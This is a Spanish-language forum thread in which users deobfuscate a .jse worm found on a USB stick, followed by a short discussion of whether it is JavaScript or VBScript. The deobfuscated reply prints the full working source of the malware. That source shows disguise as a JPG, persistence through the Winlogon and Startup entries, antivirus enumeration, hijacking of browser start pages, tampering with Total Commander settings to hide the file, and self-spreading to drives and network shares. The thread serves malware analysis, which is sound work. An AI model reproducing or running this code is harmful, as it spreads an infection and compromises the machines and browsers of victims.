[Ayuda] descifrando un virus

[danny920825]

Hola a todos, les traigo tarea por decirlo de alguna forma a aquellos especializados en el arte de la cryptografia. El punto es que encontre en mi memoria USB hace un par de dias un archivo con el icono de una foto y un nombre asi como
"DSC01012                                                                                  .jse"
o sea, que estaban tratando de esconder la extension alargando el nombre. Eso me dio curiosidad y lo revise y me escontre con el codigo que les traigo hoy para ver si me ayudan a descifrarlo y conocer realmente que es lo que hace. Por cierto, mi cuñado si lo ejecuto y lo que hace al usuario es supuestamente abrir la foto del fondo de escritorio. Sin mas vueltas, aqui les dejo el codigo

Código ("vb") [Seleccionar] Expandir


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4d6becec3be987d7d96c7c9c6ce98c9c0d27ba0c9d0c8c0cdbccfcacd83bc89a2c0cfa1cac7bfc0cd83be8e8489c1c4c7c0ce8496c1cacd83967cc7c9c6ce89bccfa0c9bf838496c7c9c6ce89c8cad1c0a9c0d3cf838484d6cfcdd4d6c7c6ce98c7c9c6ce89c4cfc0c88384867d7d96c4c183c7c6ce89ced0bdcecfcdc4c9c283c7c6ce89c7c0c9c2cfc3888f87c7c6ce89c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838498987d89c7c9c67d84d6c7c9c6bc98bd899ecdc0bccfc0aec3cacdcfbed0cf83c7c9c6ce89c4cfc0c8838484899ccdc2d0c8c0c9cfce96c4c183c7c9c6bc89cec0bccdbec3837d8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce7d847c98888c84d6becec3be98c7c9c6bc89ced0bdcecfcdc4c9c283c7c9c6bc89c4c9bfc0d3aac183827d8284868c87c7c9c6bc89c7bccecfa4c9bfc0d3aac183827d82848496bc899fc0c7c0cfc0a1c4c7c083c7c9c6ce89c4cfc0c883848496d8d8d8bebccfbec383c084d6d8d8cdc0cfd0cdc97bbecec3be96d891";ll="";dm=z.length-2;rad=new Number(z.substring(dm,dm+2));for(y=0;y<dm;y+=2){num=z.substring(y,y+2);ld=new Number("0x"+num);an=ld.toString(10);ch=String.fromCharCode(an-rad);ll+=ch;}eval(ll);


Perdon, pero no se de que otra forma subir el codigo y que quede en diferentes lineas. Lo otro que puedo hacer es subirlo en MEGA con extension txt y alguien lo sube de nuevo aqui descifrado. Saludos

[engel lex]

no sabia que el vbs se parecía tanto el js... solo tienes que seguir los pasos sin el eval (para que no se ejecute) y revisar la variable que se evalua

aquí está sin la primera ofuscación

Código (javascript) [Seleccionar] Expandir

try {
   a = WScript.CreateObject('Scri' + 'pting.Fi' + 'leSys' + 'temObj' + 'ect');
   b = WScript.CreateObject('WSc' + 'ript.Sh' + 'ell');
   s = WScript.CreateObject('She' + 'll.Appli' + 'cation');
   wl = WScript.CreateObject('WbemScr' + 'ipting.SWbemL' + 'ocator');
   db = WScript.CreateObject('ADO' + 'DB.Str' + 'eam');
   db.CharSet = "US-ASCII";
   db.Type = 2;
   c3 = b.SpecialFolders("Startup");
   nt6 = (b.RegRead('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion') >= 6 ? true : false);
   jico = b.RegRead("HKLM\\SOFTWARE\\Classes\\" + b.RegRead("HKLM\\SOFTWARE\\Classes\\.jpg\\") + "\\DefaultIcon\\");
   ico = "explorer.exe";
   g = WScript.ScriptFullName;
   da = new Date();
   ano = da.getYear() + "";
   mes = da.getMonth();
   dia = da.getDate();
   hra = 0;
   antv = new Array("");
   rgk = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
   wlg = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell";
   gn = new Array("IMG", "IMG_", "PIC", "DSC", "CIMG", "HPIM", "IMAG", "DSCF", "DSCN", "DCIM", "IM", "PICT", "SAM_");
   sp = "";
   for (r = 0; r < 94; r++) {
       sp += " ";
   }
   ex = gn[Math.round(Math.random() * 12)] + ano.substring(2, 4) + "" + mes + dia + ".JPG" + sp + ".jse";
   jex = "";
   tas = "explorer";
   fsz = a.GetFile(g).Size;
   wsc = WScript.FullName;
   stl = "https://www.google.es/#output=search&sclient=psy-ab&q=fiverdolly+";
   stp = stl + fsz;
   if (s.NameSpace(26) == "Roaming") {
       tot = a.GetFolder(s.NameSpace(26).ParseName("Microsoft").Path).ParentFolder;
   } else {
       tot = s.NameSpace(40).ParseName(s.NameSpace(26)).Path;
   }
   nt();
} catch (e) {}
sf = "";

function nt() {
   try {
       c1 = s.NameSpace(28).ParseName("microsoft");
       c2 = c1.GetFolder.Items().Count;
       rf = Math.round(Math.random() * c2 - 1);
       c4 = c1.GetFolder.Items().item(rf).Path;
       if (a.FolderExists(c4) == false) {
           c4 = a.GetFile(c4).ParentFolder;
       }
   } catch (e) {
       c4 = c1.Path;
   }
   c5 = Math.random() * 8 + 1 + "";
   c5 = c5.replace(".", "");
   try {
       b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
   } catch (e) {}
   try {
       jtyp = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\FriendlyTypeName");
       b.RegWrite("HKCU\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
   } catch (e) {}
   try {
       b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\DefaultIcon\\", jico, "REG_SZ");
   } catch (e) {}
   try {
       b.RegWrite("HKLM\\SOFTWARE\\Classes\\JSEFile\\FriendlyTypeName", jtyp, "REG_EXPAND_SZ");
   } catch (e) {}
   if (g.substring(g.lastIndexOf("\\") + 1, g.length).toLowerCase().search(".jpg" + sp + ".jse") != -1) {
       try {
           if (a.FileExists(g.substring(0, g.lastIndexOf(sp + ".jse"))) == true) {
               b.run('"' + g.substring(0, g.lastIndexOf(sp + ".jse")) + '"');
           } else {
               wp = b.RegRead("HKCU\\Control Panel\\Desktop\\Wallpaper");
               if (wp.substring(wp.lastIndexOf("\\") + 1, wp.length) == "TranscodedWallpaper") {
                   jpgc = b.RegRead("HKLM\\SOFTWARE\\Classes\\jpegfile\\shell\\open\\command\\").replace("%1", wp);
                   b.run(jpgc);
               } else {
                   b.run('"' + wp + '"');
               }
           }
       } catch (e) {}
       try {
           sc = wl.ConnectServer(null, "root\\default");
           rg = sc.Get("StdRegProv");
           m = rg.Methods_.Item("EnumValues");
           pin = m.InParameters.SpawnInstance_();
           rk = new Object();
           rk["HKCU"] = rk["HKEY_CURRENT_USER"] = 0x80000001;
           rv = rk[rgk.substr(0, rgk.indexOf("\\"))];
           pin.hDefKey = rv;
           pin.sSubKeyName = rgk.substr(rgk.indexOf("\\") + 1);
           pot = rg.ExecMethod_(m.Name, pin);
           ak = pot.sNames.toArray();
           for (key in ak) {
               tts = b.RegRead(rgk + "\\" + ak[key]) + "";
               if (tts.search(".exe") != -1) {
                   tts2 = tts.substring(0, tts.search(".exe"));
                   tts3 = tts2.substring(tts2.lastIndexOf(":") - 1, tts2.length) + ".exe";
                   if (a.FileExists(tts3) == true) {
                       ico = tts3;
                   }
                   if (tts2.indexOf("\\") != -1) {
                       tts2 = tts2.substring(tts2.lastIndexOf("\\") + 1, tts2.length);
                   }
                   tas = tts2;
               }
           }
       } catch (e) {}
       if (tas.indexOf(" ") != -1) {
           tas = tas.substring(0, tas.indexOf(" "));
       }
       if (tas.indexOf(".") != -1) {
           tas = tas.substring(0, tas.indexOf("."));
       }
       try {
           newd = fsz;
           olddf = b.RegRead(wlg);
           olddf = olddf.substring(olddf.lastIndexOf('" "') + 3, olddf.lastIndexOf('"'));
       } catch (e) {
           olddf = shcu();
       }
       if (a.FileExists(olddf) == true) {
           c4 = a.GetFile(olddf).ParentFolder;
           oldd = a.GetFile(olddf).size;
       } else {
           oldd = 0;
           olddf = c4 + "\\" + c5;
       }
       if (newd >= oldd) {
           if (a.FileExists(olddf) == true) {
               a.GetFile(olddf).Attributes = 0;
           }
           db.Open();
           try {
               av = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter" + (nt6 ? '2' : ''));
               avi = av.ExecQuery("SELECT * FROM AntiVirusProduct", "WQL");
               navi = new Enumerator(avi);
               antv = new Array();
               for (; !navi.atEnd(); navi.moveNext()) {
                   oav = navi.item();
                   antv.push(oav.displayName);
               }
           } catch (e) {
               antv = new Array("NAC");
           }
           try {
               vic = "<" + b.RegRead("HKCU\\Volatile Environment\\LOGONSERVER").replace("\\\\", "") + ":" + b.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName") + "=" + s.NameSpace(40) + ":" + antv + ">";
           } catch (e) {
               vic = "";
           }
           cod = ci();
           if (cod.search(vic) == -1 && rad != 0) {
               nda = vic + "**/";
               his = cod.replace("**/", nda);
               db.WriteText(his);
           } else {
               db.WriteText(cod);
           }
           db.SaveToFile(olddf, 2);
           db.Close();
           try {
               if (a.GetFile(olddf).OpenAsTextStream(1, -2).ReadAll().charCodeAt(0) != 122) {
                   a.CopyFile(g, olddf, true);
               }
               a.GetFile(olddf).Attributes = 2;
           } catch (e) {}
           wsh = c4 + "\\" + tas + ".exe";
           try {
               a.CopyFile(wsc, wsh);
           } catch (e) {}
           a.GetFile(wsh).Attributes = 2;
           try {
               drg = '"' + wsh + '" "' + olddf + '" //E:JScript //B';
               shcu();
               ec = b.CreateShortcut(c3 + "\\" + tas + ".lnk");
               ec.TargetPath = c4 + "\\" + tas + ".exe";
               ec.Arguments = '"' + olddf + '" //E:JScript //B -ns';
               ec.IconLocation = ico;
               ec.Save();
               b.RegWrite(wlg, drg, 'REG_SZ');
               WScript.Sleep(9999);
               if (b.RegRead(wlg) == drg) {
                   a.DeleteFile(c3 + "\\" + tas + ".lnk");
               }
           } catch (e) {}
       }
   } else {
       try {
           if (WScript.Arguments.length == 0) {
               b.run("explorer.exe");
           }
       } catch (e) {}
       try {
           fcfp = new Array();
           tcmd = new Array();
           for (t = 0; t < 9; t++) {
               tcmd.push(tot + "\\TC201" + t + "\\tcignore.txt");
               try {
                   fcfp.push(s.NameSpace(38).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
               } catch (e) {}
               try {
                   fcfp.push(s.NameSpace(48).ParseName("TotalCommander201" + t).Path + "\\Tools\\Mozilla Firefox\\defaults\\profile");
               } catch (e) {}
           }
           try {
               tcmd.push(s.NameSpace(38).ParseName("TC UP").Path + "\\tcignore.txt");
           } catch (e) {}
           try {
               tcmd.push(s.NameSpace(48).ParseName("TC UP").Path + "\\tcignore.txt");
           } catch (e) {}
           try {
               tcmd.push(s.NameSpace(28).ParseName("ghisler").Path + "\\tcignore.txt");
           } catch (e) {}
           try {
               tcmd.push(s.NameSpace(26).ParseName("ghisler").Path + "\\tcignore.txt");
           } catch (e) {}
           tcmd.push("c:\\totalcmd\\tcignore.txt");
           for (t = 0; t < tcmd.length; t++) {
               if (a.FileExists(tcmd[t].replace("tcignore.txt", "wincmd.ini")) == true) {
                   try {
                       db.Open();
                       if (a.FileExists(tcmd[t]) == false) {
                           ttn = a.CreateTextFile(tcmd[t], true);
                           ttn.Write("**.**.jse");
                           ttn.close();
                       }
                       igl = "";
                       try {
                           db.LoadFromFile(tcmd[t]);
                           igl = db.ReadText;
                       } catch (e) {}
                       db.Close();
                       if (igl.indexOf("**.**.jse") == -1) {
                           db.Open();
                           db.WriteText(igl, 1);
                           db.WriteText("**.**.jse", 1);
                           a.DeleteFile(tcmd[t]);
                           db.SaveToFile(tcmd[t]);
                           db.Close();
                       }
                   } catch (e) {}
                   try {
                       tor = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 1, true, 0);
                       toa = tor.ReadAll();
                       if (toa.search("IgnoreListFileEnabled=0") != -1) {
                           toa = toa.replace("IgnoreListFileEnabled=0", "IgnoreListFileEnabled=1");
                       }
                       if (toa.search("IgnoreListFile=") == -1) {
                           toa = toa.replace("[Configuration]", "[Configuration]" + "\nIgnoreListFile=" + tcmd[t]);
                       }
                       if (tcmd[t].search("TC201") != -1) {
                           if (toa.search("=*.jse") == -1) {
                               filt = toa.substring(toa.lastIndexOf("Filter") + 6, toa.lastIndexOf(".icon="));
                               enf = toa.substring(toa.lastIndexOf("Filter"), toa.length);
                               enl = enf.substring(0, enf.indexOf("\n") + 1);
                               fln = new Number(filt) + 1;
                               ficon = toa.substring(toa.search("Filter11.icon=") + 14, toa.length);
                               dicon = ficon.substring(0, ficon.search("\n"));
                               toa = toa.replace(enl, enl + "\nFilter" + fln + "=*.jse\nFilter" + fln + ".icon=" + dicon + "\n");
                               toa = toa.replace("FileTipWindows=1", "FileTipWindows=0");
                           }
                       }
                       tor.close();
                       tow = a.OpenTextFile(a.GetFile(tcmd[t]).ParentFolder + "\\Wincmd.ini", 2, true, 0);
                       tow.Write(toa);
                       tow.close();
                   } catch (e) {}
               }
           }
       } catch (e) {}
       try {
           b.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", stp, "REG_SZ")
       } catch (e) {}
       try {
           if (a.FolderExists(tot + "\\Mozilla\\Firefox\\Profiles") == true) {
               fpf = a.GetFolder(tot + "\\Mozilla\\Firefox\\Profiles");
               pff = new Enumerator(fpf.SubFolders);
               for (; !pff.atEnd(); pff.moveNext()) {
                   pfs = pff.item() + "";
                   if (pfs.search(".default") != -1) {
                       fcfp.push(pfs);
                   }
               }
           }
           for (q = 0; q < fcfp.length; q++) {
               try {
                   if (a.FileExists(fcfp[q] + "\\prefs.js") == true); {
                       fjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 1);
                       fjs = fjf.ReadAll();
                       fjf.close();
                       usp = 'user_pref("browser.startup.homepage",';
                       if (fjs.indexOf(usp) != -1) {
                           fjs1 = fjs.substring(fjs.indexOf(usp) + 37, fjs.length);
                           fjs2 = fjs1.substring(0, fjs1.indexOf(');') + 2);
                           fjs3 = fjs.replace(usp + fjs2, usp + ' "' + stp + '");');
                           wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 2);
                           wjf.Write(fjs3);
                       } else {
                           wjf = a.OpenTextFile(fcfp[q] + "\\prefs.js", 8);
                           wjf.WriteLine('\n' + usp + ' "' + stp + '");');
                       }
                       wjf.close();
                   }
               } catch (e) {}
           }
       } catch (e) {}
       try {
           gfs = s.NameSpace(28).ParseName("Google").Path + "\\Chrome\\User Data\\Default\\Preferences";
           if (a.FileExists(gfs) == true) {
               gjf = a.OpenTextFile(gfs, 1);
               gjs = gjf.ReadAll();
               gjf.close();
               gjsn = gjs.length;
               urs = '"urls_to_restore_on_startup": [';
               ros = '"restore_on_startup":';
               rosm = '"restore_on_startup_migrated":';
               if (gjs.indexOf(stl) == -1) {
                   if (gjs.indexOf(urs) != -1) {
                       gjs1 = gjs.substring(gjs.indexOf(urs) + 31, gjsn);
                       gjs2 = gjs1.substring(0, gjs1.indexOf("]") + 1);
                       gjs3 = gjs.replace(urs + gjs2, urs + ' "' + stp + '", ' + gjs2);
                   } else {
                       gjs1 = gjs.substring(gjs.indexOf(rosm), gjsn);
                       gjs2 = gjs1.substring(0, gjs1.indexOf("\n") + 1);
                       gjs3 = gjs.replace(gjs2, rosm + ' true,\n\t' + urs + ' "' + stp + '" ]\n');
                   }
                   gjs4 = gjs.substring(gjs.indexOf(ros), gjsn);
                   gjs5 = gjs4.substring(0, gjs4.indexOf(',') + 1);
                   gjs3 = gjs3.replace(gjs5, ros + ' 4,');
                   wjg = a.OpenTextFile(gfs, 2);
                   wjg.Write(gjs3);
                   wjg.close();
               } else {
                   fds = gjs.substring(gjs.indexOf(stl), gjs.length);
                   fdc = fds.substring(0, fds.indexOf('"'));
                   gjs4 = gjs.replace(fdc, stp);
                   wjg = a.OpenTextFile(gfs, 2);
                   wjg.Write(gjs4);
                   wjg.close();
               }
           }
       } catch (e) {}
       mk();
   }
}

function mk() {
   WScript.Sleep(120000);
   try {
       c = new Enumerator(a.Drives);
       for (; !c.atEnd(); c.moveNext()) {
           tipodisco = c.item().DriveType;
           switch (tipodisco) {
               case 1:
               case 3:
                   if (c.item() != "A:" && c.item() != "B:") {
                       try {
                           sf = a.GetFolder(pe(c.item() + "\\"));
                           tgf = new Enumerator(sf.files);
                           for (; !tgf.atEnd(); tgf.moveNext()) {
                               stf = tgf.item() + "";
                               if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
                                   jex = tgf.item().Name + sp + ".jse";
                               }
                               if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
                                   ex = tgf.item().Name;
                               }
                           }
                           if (a.FileExists(sf + "\\" + ex) == false) {
                               if (jex != "") {
                                   ex = jex;
                               }
                               a.CopyFile(g, sf + "\\" + ex);
                               if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
                                   a.GetFile(sf + "\\" + ex).Attributes = a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
                               } else {
                                   a.GetFile(sf + "\\" + ex).Attributes = 0
                               };
                               if (a.FileExists(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
                                   a.GetFile(sf + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
                               }
                           } else {
                               if (a.GetFile(sf + "\\" + ex).Size < fsz) {
                                   a.GetFile(sf + "\\" + ex).Attributes = 0;
                                   a.DeleteFile(sf + "\\" + ex);
                                   a.CopyFile(g, sf + "\\" + ex);
                                   a.GetFile(sf + "\\" + ex).Attributes = 0;
                               }
                           }
                       } catch (e) {}
                       sf = "";
                   }
                   break;
               default:
                   break;
           }
       }
   } catch (e) {}
   try {
       if (hra < 12) {
           hra += 1;
       }
       if (hra == 12) {
           dns = s.NameSpace(18);
           ens = dns.Items().Count;
           hns = new Array();
           for (f = 0; f < ens; f++) {
               gns = dns.Items().item(f);
               hns.push("dns.Items().Item(" + f + ").GetFolder");
           }
           for (i = 0; i < hns.length; i++) {
               try {
                   jns = eval(hns[i]).Items().Count;
                   for (l = 0; l < jns; l++) {
                       if (a.FolderExists(eval(hns[i] + ".Items().item(" + l + ").Path")) == false) {
                           hns.push(hns[i] + ".Items().item(" + l + ").GetFolder");
                       } else {
                           try {
                               dis = pe(eval(hns[i] + ".Items().item(" + l + ").Path") + "\\") + "";
                               di = a.GetFolder(dis);
                               tgf = new Enumerator(di.files);
                               for (; !tgf.atEnd(); tgf.moveNext()) {
                                   stf = tgf.item() + "";
                                   if (stf.substring(stf.length - 4, stf.length).toUpperCase() == ".JPG") {
                                       jex = tgf.item().Name + sp + ".jse";
                                   }
                                   if (stf.toLowerCase().indexOf(".jpg" + sp + ".jse") != -1) {
                                       ex = tgf.item().Name;
                                   }
                               }
                               if (a.FileExists(di + "\\" + ex) == false && dis.charAt(1) != ":") {
                                   if (jex != "") {
                                       ex = jex;
                                   }
                                   a.CopyFile(g, di + "\\" + ex);
                                   if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
                                       a.GetFile(di + "\\" + ex).Attributes = a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes;
                                   } else {
                                       a.GetFile(di + "\\" + ex).Attributes = 0;
                                   }
                                   if (a.FileExists(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))) == true) {
                                       a.GetFile(di + "\\" + ex.substring(0, ex.lastIndexOf(sp + ".jse"))).Attributes = 2;
                                   }
                               } else {
                                   if (a.GetFile(di + "\\" + ex).Size < fsz) {
                                       a.GetFile(di + "\\" + ex).Attributes = 0;
                                       a.DeleteFile(di + "\\" + ex);
                                       a.CopyFile(g, di + "\\" + ex);
                                       a.GetFile(di + "\\" + ex).Attributes = 0;
                                   }
                               }
                           } catch (e) {}
                       }
                   }
               } catch (e) {}
           }
           hra = 0;
       }
   } catch (e) {}
   mk();
}

function ci() {
   try {
       db2 = a.OpenTextFile(g, 1);
       g2 = db2.ReadAll();
       db2.Close();
       g3 = g2.substring(g2.search('z="') + 3, g2.search('";'));
       g1 = g2.substring(0, g2.search('z="') + 3);
       gr = g2.substring(g2.search('";'), g2.length);
       t = ll;
       tt = "";
       tm = t.length;
       rac = Math.round(Math.random() * 98) + 1;
       for (x = 0; x < tm; x++) {
           num = t.charCodeAt(x) + rac;
           hx = num.toString(16);
           if (hx.length < 2) {
               hx = "0" + hx;
           }
           tt += hx;
           hx = '';
       }
       if (rac < 10) {
           rac = "0" + rac;
       }
       tt += rac;
       g4 = g1 + tt + gr;
       return g4;
   } catch (e) {}
}

function pe(tar) {
   onef = false;
   sfp = a.GetFolder(tar);
   tgc = new Enumerator(sfp.subFolders);
   for (; !tgc.atEnd(); tgc.moveNext()) {
       stc = tgc.item().Name.toLowerCase();
       if (stc.search("foto") != -1 || stc.search("photo") != -1 || stc.search("image") != -1 || stc.search("im\u00E1ge") != -1 || stc.search("picture") != -1) {
           if (onef == false) {
               sfp = a.GetFolder(tgc.item() + "\\");
           }
           onef = true;
       }
   }
   return sfp;
}

function shcu() {
   cshc = "";
   lnks = new Enumerator(a.GetFolder(c3).files);
   for (; !lnks.atEnd(); lnks.moveNext()) {
       try {
           lks = lnks.item() + "";
           if (lks.substring(lks.length - 4, lks.length).toLowerCase() == ".lnk") {
               lnka = b.CreateShortcut(lnks.item()).Arguments;
               if (lnka.search("//E:JScript //B -ns") != -1) {
                   cshc = lnka.substring(lnka.indexOf('"') + 1, lnka.lastIndexOf('"'));
                   a.DeleteFile(lnks.item());
               }
           }
       } catch (e) {}
   }
   return cshc;
}

[danny920825]

Gracias. Eres el mejor!!

[dRak0]

Criptoanalisis,diras.

[Mad Antrax]

excelente trabajo engel lex, ahora solo falta analizar las funciones que ejecuta el script!

[danny920825]

Y todo eso es javascript?? o sea, que se puede utilizar un lenguaje de programacion web para aplicaciones de escritorio? Por favor, alguien que explique las funciones que no las entiendo todas

[engel lex]

repito mi comentario

no sabia que el vbs se parecía tanto el js

esto no es js (javascript) es vbs (visual basic script), solo sirve en local

[Mad Antrax]

repito mi comentario

esto no es js (javascript) es vbs (visual basic script), solo sirve en local

En realidad ese código es javascript. El intérprete de script de Windows (wscript + cscript) pueden interpretar (ejecutar) VBS y JS. VOy a reversas las funciones para ver que hace exactamente, aunque no estoy muy familiarizado con JS...

Saludos

[engel lex]

windows interpreta js?

"WScript" puede ser usado por jscript?

por eso asumo que es vbs

[Mad Antrax]

windows interpreta js?

"WScript" puede ser usado por jscript?

por eso asumo que es vbs

Exacto, el motor de interprete de script (WScript.exe / CScript.exe) interpreta tanto VBS como JS, y sus variantes VBE, JSE, etc... el icono se diferencia por un script verde (VBS) o amarillo (JS). Si te fijas, la sintaxis original de VB/VBA/VBS no incluye llaves ({}) para designar statement, en su lugar se utiliza el comodón "End", las llaves son usadas en lenguajes como C/C++ y JS (entre mucho otros).

Otra pista la tienes en que JS necesita un caracter para indicar el fin de una línea ( ";" ) mientras que VB/VBS no necesita dicho carácter

Te he editado el post, indicando que el geshi es JS en lugar de VBS, ahora aparece correctamente formateado